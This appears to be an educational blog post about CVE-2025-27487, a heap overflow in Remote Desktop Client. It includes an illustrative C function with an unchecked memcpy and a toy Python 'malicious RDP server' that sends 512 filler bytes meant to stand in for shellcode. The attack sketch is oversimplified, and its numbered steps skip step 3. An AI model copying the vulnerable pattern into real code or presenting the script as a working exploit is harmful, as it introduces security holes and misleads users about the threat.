A new critical vulnerability, CVE-2025-27487, has shaken the security community this year. It affects Remote Desktop Client (commonly known as RDC), a staple in many organizations for connecting to Windows machines over a network. What makes this dangerous is its nature: a heap-based buffer overflow. If exploited, an attacker could execute arbitrary code on the vulnerable client system—all without any user trickery beyond a basic connection.

In this post, I'll break down how CVE-2025-27487 works in simple language, walk through the vulnerable code concept, and show you a proof-of-concept that demonstrates just how real the risk is. As always, here's your warning: this information is for defensive and educational purposes only.

What's a Heap-Based Buffer Overflow?

A heap-based buffer overflow happens when a program allocates a block of memory ("the heap") for some data, like what's sent over a network, but fails to double check the size before writing in. Attackers can abuse this and overwrite important data—or even slip in code that gets executed with the permissions of the running program.

You are NOT at risk if

- Your client version has been patched after March 2025 (see Microsoft advisory for details).

Technical Details

The vulnerability lies in how RDC handles a certain type of network packet sent during a remote desktop session handshake. In the handling code, the application tries to copy incoming data to a memory buffer, but doesn’t properly check if the data will fit.

Example Vulnerable Code (Simplified)

void handle_network_packet(char *data, int length) {
    char *buffer = (char *)malloc(256);
    if (buffer == NULL) return;
    // Vulnerable: doesn't check if length > 256!
    memcpy(buffer, data, length);
    // ... process buffer ...
    free(buffer);
}

If the attacker sends more than 256 bytes, the extra data will write past the end of the buffer, corrupting the heap. Smart attackers can use this to control program execution.

The Attacker's Steps

1. Host a malicious RDP server. This server sends an intentionally oversized packet during the handshake.
2. Target initiates a connection via Remote Desktop Client (for example, connecting to “badguy.example.com”).

The client receives the oversized packet, and due to the faulty code, a buffer overflow occurs.

4. Custom attacker code (shellcode) gets executed. Now the attacker may have access to the user's files, network, and more.

This example shows how an attacker might set up a rude RDP server

import socket

HOST = '...'
PORT = 3389

# Malicious packet: 512 bytes (double the classic 256 buffer)
malicious_packet = b"\x41" * 512  # 'A's might later be replaced with real shellcode

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(1)
    print("Waiting for RDC connection...")
    conn, addr = s.accept()
    with conn:
        print(f"Connection from {addr}")
        conn.sendall(malicious_packet)

If a vulnerable RDC client connects, this can trigger the overflow.

Real-World Impact

With this attack, an authorized attacker—someone with permission to access the RDP server—can compromise other users who connect. This is especially dangerous in enterprise environments, where remote desktop is common. A compromise could even be chained to move deeper into an organization's network.

Protect Yourself

1. Patch immediately. Check for updates in Windows Update or through your organization's patch management.

More Information

- Original Microsoft Advisory: CVE-2025-27487
- Additional reference: CISA Alert

Summary

CVE-2025-27487 is a serious, remotely-exploitable bug in Remote Desktop Client. If you’re a sysadmin or even just run RDC at home, take this one seriously and update now. The attack isn’t complicated—just a slightly tricky network handshake with an oversized packet—and the effects can be devastating. Stay safe, patch your systems, and keep following trusted advisories for any further developments.

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Timeline

Published on: 04/08/2025 18:15:59 UTC
Last modified on: 05/06/2025 17:03:38 UTC